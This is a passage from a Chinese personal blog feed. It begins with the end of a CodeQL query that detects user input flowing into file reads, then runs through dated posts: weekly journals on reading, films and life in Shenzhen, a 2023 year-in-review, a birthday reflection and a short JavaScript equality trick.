 * @kind path-problem
 * @problem.severity warning
 * @tags correctness
 * @id js
 */





class FileReadFromUserInput extends TaintTracking::Configuration {
  FileReadFromUserInput() { this = "FileReadFromUserInput" }

  override predicate isSource(DataFlow::Node source) {
      exists(Express::RouteHandler rh, DataFlow::SourceNode sn |
          sn = rh.getARequestSource() and
          source = sn.getAPropertyRead("query").getAPropertyRead()
      )
  }
  override predicate isSink(DataFlow::Node sink) {
    exists(CallExpr call |
        call.getCalleeName() = "readFile" and
        sink.asExpr() = call.getArgument(0)
      )
  }

  override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
    exists(CallExpr call |
        call.getCalleeName() = "join" and (
            pred.asExpr() = call.getAnArgument() and succ.asExpr() = call
        )
    )
  }

}

from FileReadFromUserInput cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "$@ flows to $@ ", source.getNode(), source.toString(), sink.getNode(), sink.toString()

Select的结果中也可以看到数据流向

周报24 24年的第一篇周报

Mon, 15 Jan 2024 00:00:00 GMT

周报24 24年的第一篇周报

午后的阳光跳进窗玻璃，跳到我的键盘上，蜗居的小房间里仿佛又多了点生机

每到一周快要结束的时候，我都会头疼又要写周报了，指工作周报和博客周报，其中一个是真头疼，另一个是可能是假头疼吧

但每每搜肠刮肚，也还能想到些什么，再经过几番互联网式的总结和加工，最后凝结为几行简短，一目了然的句子，以此总结自己本周的工作

那生活呢？普通打工人的生活，除了上下班还能有哪些出彩值得记录的地方呢，我扪心自问

但谁又不是如此呢，除了有明确目标的工作，我们都不太清楚要总结什么

想到这里你就明白了，为什么历史人物的传记的那么单调了—— 全是官职的调动，再难看到司马迁笔下诸如霸王别姬，自刎乌江前的豪壮场面了

但我还是看到一些，这些细节，构成了我眼中的世界我看到，坐在女朋友小电驴后座的男生一只手扛着东西，另一只手紧搂着她我看到，辛苦爬楼送完外卖的的小哥，下楼的时候开心地刷着短视频我看到，买炒粉的路边摊阿姨，帮我打包后还送我一个小橘子

你是你接触过的人，碰到过的物，感受过的情爱，迷失过的痛苦，家乡的老树，街边的路灯，吃过的烧烤摊……等等所有的体验，才有此刻的你。

我固然经历不到那些所谓“后浪”的生活，我也需要在逛街的时候有一个共享充电宝应急（而不是可以直接去车上充电🐶），我讨厌冷冰冰毫无人性的道理，比如如下语出《内瓦尔宝典》：

如果你将在一个城市生活十年，一份工作干上五年，或者跟一个人相伴十年，你就应该先花一到两年的时间认真思考再做决定。这些都是非常重大的决定，是人生的三大关键决定。

我是这么点评的：

经济学家似乎都喜欢鲁滨逊漂流记，但鲁滨逊有得选吗，他只能走一步看一步，慢慢经营，虽然他没法选择流亡的岛屿，但是他可以选择定居点，选择工具，选择规划。人也是一样，我不觉得最开始就要困住自己，没有决定选出哪个城市就踟蹰不前，哪怕你选错了城市，你还可以选择定居的地点，选择不同的社区，是这一系列的抉择，而不是所谓孤注一掷重大的某个抉择。否则，就会像猫头鹰搬家一样，始终无所适从

按惯例是要总结提升一下，比如来一句凝练的话语，引人深思（我以前可能也是这么做的），但我还是不想，我只是想把这些无关紧要的话语记录下来供诸君取乐下

是为本周报序

📚《悉达多》《内瓦尔宝典》《两汉风云》《弹性生长》

我向来对这种书是不太感冒的，这种书一般有如下特点：

必须是国外的，这样才有格调
书名一般是一些直接音译的名字，显得很高大上

当然，类似宝典这种书，我是非常排斥的，但这周态度转变了下，我觉得还是有必要抱着一种看烂片的心态去阅读的

首先花了一个多小时很快就把《悉达多》看完了，文字翻译的很美，有音律感

但书的内容属于你看了开头就知道结尾的，而且作为自小被中国传统文化熏陶的我们，对于所谓

得意时信儒，失意时信道，绝望时信佛

是一点也不陌生的，而悉达多所做的，所经历的就是这一切

看完后我第一个想到的还是蒋捷的听雨，短短的十几个字，已经把《悉达多》的内容全部概括了

而《内瓦尔宝典》这本书，正如我在序言里提到的，我反正是一边看一遍骂的，属于正确的废话了，随便摘录几条吧

不要跟愤世嫉俗和消极悲观的人合作。他们的预言会自我实现。

我：so，知道了这条又有什么意义呢？我能选择和什么样的人合作吗哈哈

有时候，即使你自己不觉得那是一门技能，身边的人也会留意到。你的母亲或者你成长过程中最好的朋友会知道你有什么特别之处。

我：但现实就是，很少有人能在某些方面特别擅长。我们在学校阶段所展现出的特长，无非是经过了大量练习，或者是依靠一些记忆力，再或者是花了点时间而已。

要积累和发展专长，就要发挥自己的天赋，研究自己真正好奇的东西，追寻自己的热情所在，而不是选择一个当下的热门专业，然后在毕业后进入投资者宣称的热门行业。

我：道理我都懂，那你可以告诉我怎么做吗

我想说的是，你应该在经过深思熟虑后，清醒地认识到自己需要从大多数事情（人际关系、工作、学习）中找到可以尽全力去付出的那部分，以充分获取复利效应。

我：所以怎么深思熟虑呢？

普通人把时间浪费在短期思考上，浪费在毫无价值的繁重工作上。而巴菲特会用一年斟酌判断，然后用一天采取行动。他一天的行动可以影响未来几十年

我：你这么做一次试试，看你老板不把你开了

（不说了，我继续去骂了🐶

渤海小吏的《两汉风云》也在微信读书上上架了，23年基本都是看他的历史类视频，也补充了一堆以前没有接触过的历史知识，再去重读一遍纸质书，还是看的很爽，真的，感觉多读一点历史要比整天看那些给建议的毒鸡汤好多了

下周估计会集中精力研读一下《南北战争三百年》

🎬《年会不能停》& 📺《单身即地狱》

这是一部很好的片子，但豆瓣评分不过，依照豆瓣那些评论家一贯的尿性，估计会说：

虽然很好，但也只是在国产电影日常的框架中做了一些微不足道的创新吧

也不是没道理，毕竟看下来，结尾还是有些刻意去营造一个很好的结局呈现出来

除去那些影评频道都会说的，电影有几个镜头让我觉得很感动

第一个是三个人在天台的那场戏，杰克马的那一番话和转变，其实我并没有太理解，尽管转变可能有点突兀，但我总觉得导演在里面埋了一点东西，估计要看第二遍才能理解了

远在天边的，三百个职工的饭碗，与当下自己的妻儿老小，哪个更重要？这无疑又是一个电车悖论。但所幸，权利的斗争还是给人一点希望

这就是第二个点了，我最想说的这个人，徐总，因为都姓徐，让我想起了另一个人——徐阶

他属于典型的，士大夫笔下的反面案例。他不缺钱，但是他有点理想主义（这也是剧中的女一挂在嘴边的），他想通过快刀斩乱麻的方式，让公司拥抱互联网，快速斩断掉与旧时代的关系。我不由得想象，如果他成功了，在他主导的叙事视角中，这又是怎样一番景象

想千年前，徐阶斗倒了严嵩，在史官的笔下，严嵩就是一个十恶不赦的坏蛋，可要是徐阶没有斗倒呢？

我们总是容易被历史的叙事视角给影响的，电影之所以是电影，就在于它的结局大多是一个向上的（当然是指国产的），而现实则很难

不说这些历史了，不妨看看恋爱综艺养养眼🤣，献上一张修罗场的图，堪比《最后的晚餐》

诸君自己解读吧哈哈哈哈（纯爱战士应声倒地啊

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney

不过也会摘录一些放在博客里：

我不太想看B站了

Mon, 15 Jan 2024 00:00:00 GMT

我不太想看B站了

本篇为日常记录的一些丧话，只代表那一刻我的观点，与现在的我无关🐶

停止了一段时间刷B站，感觉生活突然变得更有节奏了，也有更多的时间去看自己喜欢的内容了

看来逃避推荐真的是一件很有用的事情

昨天打开B站，首页又给我推荐影视飓风的视频，我往下划拉，大狸子、lks等等，这些我之前经常看的up视频又更新了

那然后呢？其实我也并不关注最新的ps5，lks最近整的新活似乎也没有太吸引我，影视飓风开始科普视频帧率了，这些知识于我又有什么帮助呢？

要是放在以前，这些视频必定是绝佳的放松、休闲、下饭的素材了

但是现在，我更愿意去选择我自己想看的内容，汪曾祺的《人间草木》我还没有看完，《六个说谎的大学生》重读了一遍，《山月记》在书架还一直没看呢。Duo又开始催我记单词了，这些是不是更有价值呢？

又想起了B站当年的青年节宣传片《后浪》，为什么会被人讨厌，因为它只描绘了一种生活方式，只倡导一种生活方式，可真实荧幕下的生活远不止如此，这里既有胆战心惊，时刻躲避城管的小摊贩，也有总结出每个路口红绿灯规律的外卖小哥，以及一个个奔波在路上的你我

我觉得他们都应该被看见，我开始厌恶B站上这些聚光灯下的，和我同龄的up主们

的确，大狸子的创业故事很感人，影视飓风的Tim人也很好。放在现实生活中，绝对是我很想去交往的朋友

他们并没有做什么错事，只是单纯因为出现的次数太多了，似乎每一个人都想要来分担走我的注意力，去霸占我，去给我灌输知识，去创造知识来给我科普

或许我并不需要这些，我也有自己的选择，我也需要学习，生活和记录

所以我还是更喜欢博客这种方式，这种随性表达的更新方式。看与不看，选择权都在读者的手中。

那就多愁善感地去做呗

Mon, 08 Jan 2024 00:00:00 GMT

那就多愁善感地去做呗

哗哗的水浪接触地面溅起水花的时候，我正骑单车经过这个路口，深圳下午的太阳略显乏力，当我还在疑心走哪条小道时，却早已有数不清的外卖小哥的电瓶车呼啸驶过

适应一座城市，就是熟悉它的脾气，熟悉每一条车道、人行道的分布。是在地铁到站后，不自觉的自动走向ABCDEF口中的一个；是在大雨漫灌，积水满街的时候，哪条路能避开最多的水坑，哪颗大树能给你最厚实的遮挡；是出门走了一大半路还没打开导航，开始疑心自己是不是走错了路。

要是在深圳就好了，下午的太阳照在远处的大楼上的时候，我正在快步经过一处广场，偶然间听到某个熟悉的声音响起，不由得被吸引过来，忘记了自己原来要去向哪里，只是和当下的两位老师一起，讨论一百多年前，梁启超的海外流亡生涯，康有为的奢靡张狂生活，谭嗣同的为变法的流血牺牲。

”你是怎么做到在文字间多愁善感，但是线下演讲，办书店的时候，又那么乐观地去做呢？“——底下的读者问

“那就多愁善感地去做呗”——许知远抿了下嘴唇，如是答道

”其实我们做任何一件事，都需要调动自己所有的资源，你看一吃一块蛋糕，你会不会回想起童年时的吃蛋糕的一些经历“

”就那一小破蛋糕，你都要用到毕生全部的经验，来应对如此一件微小的事物“

对许知远的了解，我并不是很深，可能仅限于《十三邀》这档节目吧，还有小锦鲤推荐过的《多谈谈问题》——入选了豆瓣的2023年读书榜单（关于榜单的问题可能会有一篇文章来谈谈）

活动场地的布置我就挺喜欢的，很有感觉，是处在一个开放的空间中，不管是否买票，都可以听，区别只是是否有许老师的签名以及一个座位而已

读书人的交流，就这么随意，公开，声音一旦发生，也不需要利用反射等高科技来营造某种氛围，自然地消散出去，弥漫到周围的空气就好了

如同余秋雨笔下的《信客》，山野间，新老信客无边无际的漫谈，那些包含着人生智慧，乡野民情，生活百态的话语，就那样飘荡出去，静静的天空是见证者

所以很羡慕那些经过，满脸写着诧异，继而沉浸，驻足倾听的路人们

尽管第一眼看来，这个头发乱蓬蓬的人，似乎和普通人说话也没什么两样，也会有卡壳，也会说好几个“然后”，身体语言似乎也不够丰富

但我们在乎吗？可能有的人在乎吧，现实的落差总是敌不过虚假的美好，需要调动精力的思考总是敌不过简单感官的愉悦

许老师说了很多，我也记了很多

我很喜欢这种，将自己经历、情感融入进来的分享，有点像语文阅读题里的“请联系实际作答”

“那就多愁善感地去做呗”

“我就很想知道，那些处在时代转变的个体，他们能做些啥，爆发出多大的生命力”

“保持乐观是给他人看的”

“我们会被自己所经历的，所恨的人，所爱的人，被自己的恐惧所塑造”

“那是个勇敢的时代，一穷二白，没有什么可失去的”

“做任何一件事，都要调动自己所有的资源”

“那肯定啊，你写历史，肯定有自己的投射，谁也没有经历过历史上人物的生活，所以写历史很多时候是需要依赖自己的想象的”

“你走在大街上，拿着一本书，多酷啊，这不是比你们都拿着手机要酷多了吗”

“因为他们广州不来求我，我就没来这办书店”

“年轻人要干很多荒唐事，不然到老了没法活”

广州见到许知远啦

Sat, 06 Jan 2024 00:00:00 GMT

广州见到许知远啦

参加蓝信封的活动

Fri, 29 Dec 2023 00:00:00 GMT

参加蓝信封的活动

合计也写了6封信的样子啦

我的2023年

Fri, 29 Dec 2023 00:00:00 GMT

我的2023年

匆匆忙忙的 2023 年也即将接近尾声了，在这一年中有过压力，有过失落，有过每个人都经历过的至暗时刻，有过独自登台的怅惘，也有过把栏杆拍遍的豪情但不管怎样，总不会忘记记忆中的一些星星点点，正是这些关于挚友、关于阅读、关于旅行、关于失而复得喜悦，关于冥思苦想的明悟，关于上下求索的执迷，纵横交织，忽明忽暗，勾勒出每个人不同的风景线，描绘出独具一格的山光水色初读到张晓风这一句的时候，只觉的浮躁的心灵瞬间被涤荡了，洗净了。盈盈一水间，莽莽深林处，被行程选择的赶路人，面对这湖光山色，还是值得贪恋几许的吧我也曾在一篇写过的周报总结中中化用了这句：赶路人，何方走走停停呢？

我感觉写个总结应该还挺有意义的，为什么想写这个话题呢，是看到了樹程Leslie写的这篇 2023 年值得持续阅读的内容平台虽然不是年终总结，但从他这篇文章中也能收获很多，互联网上每个人都是一个小点点，我们想逃离中心化的大平台，博客的意义，就是这其中的一座座灯塔吧，照亮每一个逃离的旅行者。

于是就拖到了现在，想着还是尽快把23年的总结发出来，其他还有想写的比如23年读过的书、追过的剧、阅读过的好文章就只能等24年我有时间再总结了（毕竟传统意义上过了春节才是新年对吧😀）

22年给未来的自己的信 2022年12月28日11点19分，你在QQ邮箱写下了这封给自己的信。

时隔一年，时光信使，如期而至。不论时间是否给了你想要的答案，希望你们能在此刻好好聊一聊。

要不是临时拉了一个群提醒我们，我还真就差点忘掉这回事了，未来的我，过去的你，这个对话还挺有意思的

原来那个时候你的id还叫prontosil，我想想，貌似大二时候定的，似乎是在上一门和生物技术相关的选修课，有个药物你肯定还记得，就叫做”百浪多息“，百浪多息 - 维基百科，自由的百科全书

当时肯定太喜欢这个名字了，我现在也不太清楚这个名字的起源，不过估计是音译的

但它就是好美啊，再势不可挡的海浪，也终将平息下来。即使经历千重的孤独。使人想起《超兽武装》的一句话，”当你经历过这七重孤独，就会成为真正的强者“

《斑马》、《夜晚的潜水艇》果然都读完了，还主持了一次《夜晚的潜水艇》读书分享，超棒！

最近一年，你的胡思乱想也着实挺多的，flomo、备忘录、heptabase、Notion、logseq、微信文件传输助手都记录下来了，不过还是有好多没有被记录下来的，最终飘散为风中的纸屑，再也找不到了吧

”也许像一块滚石，颤抖着投入未知”，估计是你从哪里随手摘录的吧，搜了下果然，就是出自你当时在读的《斑马》

卡牌游戏23年也玩了挺多，《杀戮尖塔》终于使用战士通关了一次，好难哈哈哈。以及23年最新出的肉鸽卡牌游戏阿斯特莱亚，看你买的那么积极，结果游戏时长恐怕俩小时都不到吧

笔记迁移到了Notion，结果年底的时候又迁移到了heptabase，虽然这俩软件在写作体验上都很类似，但是heptabase的白板功能可能更适合你，没事只要写下去，折腾下工具又有啥

23年，你果然探索了很多的未知，工作上的表现可能不是令人满意，有时候不要想太多，把分散的精力稍微集中一点，你想做的事情有很多，慢慢来就好了。

新的一年，祝好，也许没有任何规划的你，依旧能遇到很多意想不到的惊喜

23年总结

自其变者而观之，则天地曾不能以一瞬

但如果要说2023年有哪些变化，我第一反应是没有，还是往常一样的摸鱼，甚至于这个稿子的开篇都是我在工作摸鱼时候写的，感觉摸鱼对于写作效率的提升是有很大帮助的🤣

以及：

还是会在上班的路上把衣服穿反了，直到吃完早餐回到工位才意识到还是会在某个深夜开始emo，然后睡不着觉，胡思乱想还是会抵挡不住下班后小区门口摊位传来的阵阵飘香，在一顿饱餐后开始假装自责 32楼的保洁阿姨和叔叔也都没变，每天早上都要跟她/他打声招呼工位还是一团糟，那本《习近平谈治国理政》借过来后一页都没翻过

但真就这样么？我尝试在回忆的原野上捕捉一只只断线的风筝，偶尔还是能看到一些被风吹断线后，飘散在地上的零散纸片

记住了小区快递柜的分布，知道哪些柜门弹出的幅度比较小，需要手去抠出来记住了小区几栋楼的分布，这样外卖小哥问我的时候就能直接指出来了喜欢上了坐公交车，不紧不慢的听歌，观察城市里的生活开始听播客了，喜欢一边收拾自己居住的小天地，一边听着世界那头的嬉笑怒骂通关了p5r，真，现实时间和游戏内同步，主角过了一年，我也玩了一年（XGP入库到退库刚好一年）开始间歇性疯狂学习英语，半强迫自己直接阅读英文原文，看生肉

茫然惊醒，原来23年就快过完了，我好像一直在虚度光阴，回过头来，晚霞依旧笼罩在这座城市

23年我写的周报细数下来，自己也写了有23篇周报了，其实离自己预定的计划还是差了很多的

ps.这23篇周报，刚好和23年重叠，冥冥之中自有天意吧哈哈

毕竟我当时计划着每周至少一篇技术文章加周报，按照这个频率更新的话，预估23年周报数量要达到30多篇的

我也逐渐意识到，只有真正热爱生活，去挖掘，体会生活中的那些细节，写出来的文字自然而然就会有真情实感，不需要刻意去矫揉和装点

大学时，有幸参加过张晓风老师的一次分享，熟悉我的朋友都知道我的周报中有多次引用张晓风的句子。那还是2018年了，搜了下网上还有相关的报道，阅读│晓风过处，至真至纯，而我当时很不凑巧的连通知都没看到，只能在图书馆外排着队伍，等着看有没有剩余的座位可以捡漏的

印象中，晓风老师讲了很多，但是能让我记下来的却寥寥无几，只记得她最后提到一次吃橘子的经历，说她从来没有吃过那么好的橘子。我想，文学其实本身似乎与现在互联网上推崇的诸如干货等无关，它只是一种单纯的感觉，一种只存在于当下，弥散在那个小小空间的空气分子中

可能你现在读的这篇文章，也并没有什么值得摘录并日后重温的东西，但我还是在想，也许我并不关注最新的ps5值不值得买，也不关注为什么有up决定停止制作25帧的视频，我的注意力可以停留在我这一瞬念中就够了。

23年我阅读的书

基本还是集中在历史类的书籍，但如果要说2023年我读过的书里最喜欢的一本，恐怕就是《斑马》吧

一些读过的书

历史类：

《太白金星有点烦》
《失败者的春秋》
《大汉帝国在巴蜀》
《魏晋风华：轻松读懂《世说新语》》
《饥饿的盛世：乾隆时代的得与失》
《弃长安》
《历史的面孔》

悬疑类：

《克莱因壶》
《玻璃塔迷案》
《六个说谎的大学生》

文学+历史类

《大医》破晓篇和日出篇
《中国文化课》

社会类

《筚路维艰：中国社会主义路径的五次选择》

心理类

《被讨厌的勇气》
《蛤蟆先生去看心理医生》

为了时间关系（在2024年元旦之前发出来这篇文章），只能简单的做个罗列了，后面还打算再写一篇总结下这一年的阅读经历吧

23年我的工具折腾

毕竟且趁闲身未老，喜欢折腾的心态还是一直没有变的，简单记录下今年折腾了一些啥吧

surge 虽然很早就买了授权，mac和ios都买了，但其实一直没有正式用起来
Apple tv + infuse 这个还算简单吧，Apple tv追美剧实在是太方便了
各种流媒体：Netflix、HBO、hulu、Disney+等等，不说了都是钱
steam deck：这个我倒是没折腾，因为累了，64G反正也够用
软件方面：主要是Ulysses、heptabase，分别是写作和卡片笔记整理软件

23年我的运动记录

今年主要还是羽毛球+跑步，偶尔去健身房撸铁羽毛球细数一下：

断了大概预计有10根线吧🤣

🐰年断的第一根线

🐰年最后一根线

全年总计打了243次羽毛球？？？数了下Fitness的数据把我看呆了哈哈哈哈

如果Fitness有总结，画风可能是这样的：

你全年打了243羽毛球，你一定很热爱羽毛球吧（配图：不是在打球，就是在去打球的路上🐶

跑步17次，还是太少了

今年由于和网友拼车了Apple one全家桶，也开始喜欢用Fitness+来健身了，Apple的创意很丰富的，尤其是结合了Apple music的音乐，甚至还有Apple tv的《足球教练》特供版，可以看出Apple在内容生态这一方面的野心了🤔

JavaScript 弱类型比较？实现 a == 1 && a == 2 && a == 3

Mon, 25 Dec 2023 00:00:00 GMT

JavaScript 弱类型比较？实现 a == 1 && a == 2 && a == 3

这是一篇关于JavaScript特性的小短文，计划有空就会写写这种小知识点的文章

在JavaScript中，定义一个变量a，使得：

a == 1 && a == 2 && a == 3 === true

解法 1：重写 valueOf 方法

代码示例：

let value = 0; const a = { valueOf: function() { return ++value; } };

console.assert(a==1 && a==2 && a==3, true);

原理：
- 当 a 被用于比较操作（如 a == 1）时，JavaScript 引擎调用 a.valueOf() 来获取其原始值。
- 我们重写 valueOf 方法，使其每次调用时返回递增的值。
运行结果：
- 第一次比较：a.valueOf() 返回 1，所以 a == 1。
- 第二次比较：a.valueOf() 返回 2，所以 a == 2。
- 第三次比较：a.valueOf() 返回 3，所以 a == 3。

解法 2：使用 Proxy 对象

代码示例：

let value = 0; const a = new Proxy({}, { get: function(target, name) { return ++value; } });

console.assert(a.anyProperty == 1 && a.anyProperty == 2 && a.anyProperty == 3, true);

原理：
- Proxy 对象用于创建一个对象的代理，允许我们拦截和自定义基本操作，如属性访问。
- 我们拦截对 a 的任何属性的访问，并在每次访问时返回递增的值。
运行结果：
- 与 valueOf 方法类似，每次属性访问都会返回递增的值。

周报23 深圳的冬天、学会聚焦与一些2023回顾

Mon, 25 Dec 2023 00:00:00 GMT

周报23 深圳的冬天、学会聚焦与一些2023回顾

深圳大降温了。

老舍有一篇文章，“济南的冬天”，课后有个阅读理解题我一直还记得，“为什么不是冬天的济南？作者这样写有什么用意？”

有什么用意呢？我不想批评应试教育，总是要贴心地帮着作者想出一些问题来，但毕竟提出问题总是好的。

当我写下这个标题的时候，很自然而然的，我就是想写深圳的冬天，仿佛上帝从宇宙中俯视地球，洛杉矶在下雨，好望角烈日炎炎，西伯利亚的冷风还在刮。每一个所能被经纬度标注的地区，气象各异。

而我这所处这一点，可能连最精确的芯片都无法精确表征出的位置，此刻正处于深圳，经受第一场严冬的洗礼

这也算是23年的最后一篇周报了，12月起开始偷懒了，花在写作的时间逐渐变少了，但还是会一直写下去的

圣诞的夜晚，Merry Christmas

学会聚焦

这个世界没有什么四两拨千斤的神话传奇，只有敢于在战场上拼刺刀的勇士

12月22日是部门年会，我这个中奖绝缘体只有在21年刚入职的时候才中过大奖，后来几次年会就再也没有中过了🥹。但当天下午的闭门会，才是我从中最受益良多的

三年前我第一次来这个部门实习的时候，估计是觉得微信-发现-游戏入口的红点太多太烦了，于是直接把它给隐藏了，以致于leader当时跟我说，可以在微信游戏里领到很多游戏福利的时候，我竟然一脸茫然，不过当初的我还是连连点头表示知道了🐶。其实，不止我，部门内很多同学都不知道或者基本不会去打开，这还一定程度成为了老板给我们的KPI——如何让部门内的同学先使用起来，不过这都是后话了，此处不提。

那时候，小游戏基本处于劣币驱逐良币的状态，随手打开的小游戏全都是充斥其中的广告，我们和产品同事还有个微信群，谁发现了恶意诱导用户点击广告的case就会反馈，我当时还和同事抢着不断地往群里丢，不过现在这个群已经几乎没人反馈了（侧面也反映出小游戏生态越来越好了）

谁又能想到呢，部门的两大核心业务，一个成立十周年，另一个已经过了六周年，筚路蓝缕，以启山林。

但反观我这一年，精力太过分散，相比去年反而在不断退步。不过好在导师和leader也都察觉到了，及时跟我交流后让我学会重新聚焦

之前从《贪婪的多巴胺》中也吸取到一些经验，我在一定程度上也属于那种不断去追求新事物，其实这不过是一种很低级，很省事来获取多巴胺的一种方式，并且事后也会越发的疲倦。

中文博客微信群

加入了小胡同学的中文博客微信群，群聊名片中带上自己的博客域名，这种交流方式真的好酷！

加入到微信群后也遇到了一些有趣的事情，大家聊的话题都很广，偶尔窥屏或者参与一些讨论摸摸鱼

深圳的朋友还是挺多的，在聊天的时候还会发现原来就在同一栋楼或者相隔不远的地方上班哈哈，说不定还在上下班的人流中曾见过一面呢，缘分也就是这么奇妙

小胡同学的严选推荐很棒！

小胡同学的剁手安利库

一些2023年的总结

国外的APP总结都来的好早，国内的可能都得要最后一周了，到时候估计会写到年终总结 or 24年的周报里吧并且也打算安利下我23年都看过哪些书，追过哪些剧，也做一个属于自己的2023年推荐了

学习的

多邻国的：

游戏的

Xbox的：

Ps5的（毕竟今年刚到，没来得及玩）：

Steam的（今年独立游戏买了一堆，但是都没怎么玩）：

听歌的

果然我最钟爱的还是黄老板，基本都是他的歌了

Spotify的：

Apple music的：

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：（内容太多了，欢迎到我频道里去看吧，不一一放了）

24岁独白——拔剑四顾心茫然

Wed, 06 Dec 2023 00:00:00 GMT

24岁独白——拔剑四顾心茫然

2023年11月7日，度过了我的24岁生日

很多想法自然是想写下来的，可落笔时却依旧感到无言可说，似乎一切想要表达的感受，写成文字总是欠缺了一点点意思

24岁，人生的年轮已经过了两轮，本来今年是我的本命年的，不过似乎并没有遇到特别不顺的坎坷？也可能是今年农历都没有9月30，照理我在今年是没有农历生日的🤣

写作永远是和自己的对话，有些想不清楚的问题，不愿意面对的现实，如果永远不写下来，似乎就缺乏一个落脚点。我们终究不是三体人，无法直接通过思维的交流来实现信息的高效传达

文字是一种很美的事物，方块的汉字尤为更佳。尽管我写下的这些，或许不能表达出万分之一的思考与感情，但我还是愿意写下来

这篇生日独白，和2023年总结可能有点冲突（谁让我的生日过完这一年也就快过完了呢🥹），不过我还是想从另一个角度去重新认识自己

我想到了几个关键字，成长&思考，朋友&阅读

成长&思考

回顾24年来的经历，可能更多的是顺风顺水，没有经历过所谓大起大落。也有可能是那些曾经历过的，再回过头去看时，也终究是被视野所局限的小土堆罢了

我的眼前不自觉的出现了一些图景，那个初一期中考试前一晚因焦虑睡不着觉，独自落泪的小孩

那个在语文课上，因为回答不出问题，而害羞脸红的小孩

那个在成人礼上，折好纸飞机，哈一口气，写下自己的理想的懵懂少年

那个第一次迈入武汉大学，亲声念出，“国立武汉大学”六个字的少年

那个在大学时，四处辗转，西安，天津，福州，苏州，贵州都留下足迹的少年

以及，三年前，只身一人南下，来到深圳这个城市成为一名打工人的少年

过往的一幕幕不断涌现，那些在我看来有些平淡的经历，却也组成了平行时空中的一个“我”

想想自己，没有经历过创业，也没有去过很遥远的地方，没有得过严重的疾病，小学，初中，高中，大学，工作，按部就班，似乎也没有什么问题

曾经小时候吃席的一刻，还是教育局局长的大伯问我，长大后想做什么，我也不知道，我那时可能真的不知道，还只停留在背教科书上答案的年龄，能有什么想法呢？

或许我从来都没有机会成为一个遗世独立的天才，我也不抱什么希冀。我只是为了满足自己日益增长的好奇心，以及带着那么一点点的不甘心，再加上一点点伴随出生而带来的周围亲戚嘲笑，在一个又一个岔路口左转或右转。

也曾陷入泥淖，也曾被深渊阻隔，也会被大雨淋湿，也会因厌倦而躺下，也会因指南针失灵而迷路

还记得实习那会，由于工作偏向研究性质，每天几乎都在头疼中度过，周末也会来公司加班寻找思路，但很快就变成被焦虑感所击垮，编程一天的王者峡谷之旅。好像只有沉浸在游戏中，才能短暂的忘却掉眼前的烦恼。

我也曾幻想“一剑曾当百万师”的豪情，也曾低吟“一剑霜寒十四州”的诗句，这些美好的字眼，仿佛力透纸背，但却透不过屏幕上一页浅浅的ppt。

还记得一年后，随着业务慢慢熟悉起来，工作仿佛又开始游刃有余起来。可随之而来的项目仿佛又在嘲弄我的无知，最迷茫的时候，周末时把自己一个人关在公司的会议室里，不断地在白板上一遍遍重复，疲惫之余望向窗外，本以为能看见云雾缭绕的山峰，结果却是一栋栋的高楼，阻碍了我的视线。

所幸，那些迈过去迈不过去的坎，回过头来看也早就被泥土给填平了。

工作两年后，开始意识到自己逐渐落伍了，翻了翻曾经封笔很久的博客，一边感叹自己少年的无知，另一边内心也开始蠢蠢欲动，那就开始写吧。本以为也会三分钟热度，没想到一写就是半年多，一写就是接近10w字，看来工作对人的改变还是很大的吧。

朋友&阅读

似乎自己一直以来都是一个性格较为孤僻的人？但往往旁人眼中却不是，每一个阶段，总伴随着旧朋友的分别，与新朋友的相知。MBTI的三次测试也告诉我，本质上我还是一个E人。

一直以来都奉行“君子之交淡如水”的理念，不愿掺和到小团体之中，这也就导致了我交友特别广泛，但真正能值得谈心的朋友，可能真的没有。

朋友对我的评价是，似乎任何话题我都能接上来，这也本身源于我的兴趣爱好特别广泛。

我一直相信，以真诚待人，必能收获真诚的朋友。尽管在这之中，也受到了很多伤害，那些无意义的指责，曾经还有些在意，心态的逐渐转变，也让我渐渐懂得了一些，可能成年人的生活就是这样吧，怪道说都是戴着面具和伪装生活的，但是我不想活的那么累。

似乎自己从来也没有很认真的过过生日，也很羡慕那种大学时就玩得很好的朋友，过生日时朋友们还特地飞过去给他庆生，自己可能从来得不到这种待遇吧，不过也慢慢地习惯了。

一直以来都是喜欢阅读的，学生时代，每逢过年的晚上，那时还在农村，拾起晒干的木柴，点上引子，在寂静的夜晚，听听柴火的噼里啪啦声，炸裂声，妈妈每次都会半开玩笑的说，感觉我不像是亲生的，因为她和爸爸都没怎么读过书，不知道为什么这个孩子为啥这么喜欢读书

瞎写了这么多，就草草先结束吧，能读就行，后面再慢慢完善吧

周报 22 书店、杂记与写作带给我的变化

Mon, 04 Dec 2023 00:00:00 GMT

周报又拖了好久，最近是要反思下为什么没有沉下心来写作了🐶。不过我的flomo里已经记录了很多最近的感想，比如历史，比如坐公交车，比如阅读等等，但总还是缺少一点去写下来的契机。

不得又开始回忆起自己为什么要写周报呢，最开始写的时候是想记录自己一周内比较好玩的事物，但这样的素材往往会很少，而且光是记录也会逐渐流于形式。于是开始扩充内容，阅读，追剧，杂记，都会往周报里写，写着写着又觉得不太对，感觉这些内容是不是要单独拎出来比较好？于是就开始纠结了。

不过也无所谓了，如果是我想单独拉出来写的，就单独写吧。其他的看情况就一股脑记录在周报里得了，也懒得去纠结，先做了再说。

最近一段时间还是挺快乐的~，哈哈具体原因后面会慢慢写，我还欠了好多文章呢。

Ps.有人说我的写作风格很细腻，很像一个女孩子？尊嘟假嘟🐶

吾非书店

已经写在这里了，自不必多言，https://rayepeng.net/wufeishudian

不过12.2的那天，又被受邀在书店分享了《夜晚的潜水艇》，当时多补充了一点，记录在这里吧：

首先还是感谢吾非书店的邀请，说起这家书店，我还是有些东西想和大家分享的。

我大概都是在三个月前，应该就是中秋节那次，书店有个活动，那个时候我才知道这家书店的

这是一个很惊喜的过程，因为我每天上下班都要从这个路口经过，但我从没来有想到过，就在这每天平平淡淡，两点一线的生活中，居然有一处类似桃花源记里的存在

所幸，桃花源会消失，书店不会，尤其是在这个实体书店日渐式微的当下

上一次来书店，欣赏了下衣然店长的台风，听她讲述了自己成为一名店长的故事，当时感慨良多，后来写过这样一段话

可这世上总该还是要有一些人去坚守，总有些价值是无法用价格来衡量的，总有些逆子，生长于疾风之下，咬定于青山之中

附上一张图吧，来的人也有13个左右，而且也没有中途离场的，还是挺开心的哈哈哈

